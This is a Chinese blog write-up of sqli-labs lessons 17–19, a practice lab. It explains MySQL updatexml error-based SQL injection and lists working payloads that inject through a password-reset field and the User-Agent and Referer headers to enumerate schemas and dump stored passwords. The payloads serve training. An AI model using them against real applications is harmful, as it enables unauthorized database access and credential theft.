sql-lib闯关之lesson17-19

闯关前的知识铺垫

参考链接:

https://www.jb51.net/article/125599.htm

https://www.jb51.net/article/125607.htm


UPDATEXML(XML document,XPath string,new value);
第一个参数:XML document 是String 格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath string(Xpath格式的字符串),如果不了解Xpath语法,可以网上查找。
第三个参数:new value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值。
改变XML document中符合XPATH string的值
而我们的注入语句为:
select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);
其中concat()函数是将其连接成一个字符串,因此不会复合XPATH string的格式,从而出现格式错误,报出
ERROR 1105(HY000):XPATH syntax error:‘~Dumb~’


LESS17

我们在17关的源码中加入以下代码。

 

 加入这两行是为了便于观察,在执行操作后,显示源码
我们进入17关观察以下

 

 这次是密码重置了,也就是修改密码。
同样我们通过burp抓到post的数据包

 

 uname=admin&passwd=adimin&submit=Submit

 

 


 代码中使用了get_magic_quotes_gpc name和password分开验证,而且在验证的时候对于name进行了过滤处理,将’进行了转义,所以只能在password处注入。

首先我们要知道用户的名字(前提)然后才可以接着进行下面的操作,即在password处进行sql注入。
通过上面补充的知识。我们来构造sql注入语句。
select updatexml(1,concat(0x7e,(构造语句)),1);
select updatexml(1,concat(0x7e,(构造语句),0x7e),1);   跟上面就是多了个~而已 也就是0x7e
构造语句中填写的就是老生常谈的查库查表查列查字段了,但是要注意在最后面加上 limit0,1 

查找当前所在数据库:
输入:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(database())),1)#&submit=Submit

 

 查库
输入:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 7,1),0x7e),1)#&submit=Submit

 

 


查表
输入:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'  limit 3,1),0x7e),1)#&submit=Submit
查列
输入:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'  limit 4,1),0x7e),1)#&submit=Submit

查字段
输入:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),1)#&submit=Submit

 

 这样输入竟然错误了,提示我们 你不能在FROM句子中为update 指定目标表 users
网上查一下结局方法
输入:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select password from (select password from security.users limit 0,1)users),0x7e),1)#&submit=Submit

 

 应该是不可以直接查询security.users 要select 查security 才可以,用两个选择(select)

LESS18

 

 刚刚进入18关,通过我们常用的admin 登录,竟然登录失败了,原来是我们在17关把admin的密码更改了,所以登录不上去。我们可以在首页点击第二个,重置数据库,就可以了。


 

 再次登录我们发现登录成功了

 

 

通过观察这两次,不难发现

登陆成功:显示ip地址和浏览器版本信息

登陆失败:只显示ip地址

这次我们依旧尝试在密码和账户名后加上 ‘ #,我们发现这次都进行了转意,所以就不能使用sql注入了

 

 

 

 18关同样进行输出,最后测试发现可以在http头部user-agent的地方注入。

注意:我在这里使用的都是burpsuite,其实可以用火狐的插件:http header live 虽然用法有区别,但是原理都是一样的。

抓包之后右键发送到Repeater:

 

  然后在数据包的headers部分修改user-agent构造注入语句:

 

  查当前数据库:'or updatexml(1,concat(0x7e,(database())),1) or '1'='1(注意闭合)

 

 或者'or updatexml(1,concat(0x7e,(database())),1) ,",")#   闭合sql语句
后面的和上一关相同,可以参考。


LESS19


 

 这一关和上一关类似, 登录成功的返回信息变为

Your Referer is: http://localhost/sqli-labs-master/Less-19/




抓包:' or updatexml(1,concat(0x7e,(database())),1) and '1'=‘1或者‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)# 

 

 

 

posted @ 2020-03-02 21:54  陈子硕  阅读(358)  评论(0编辑  收藏  举报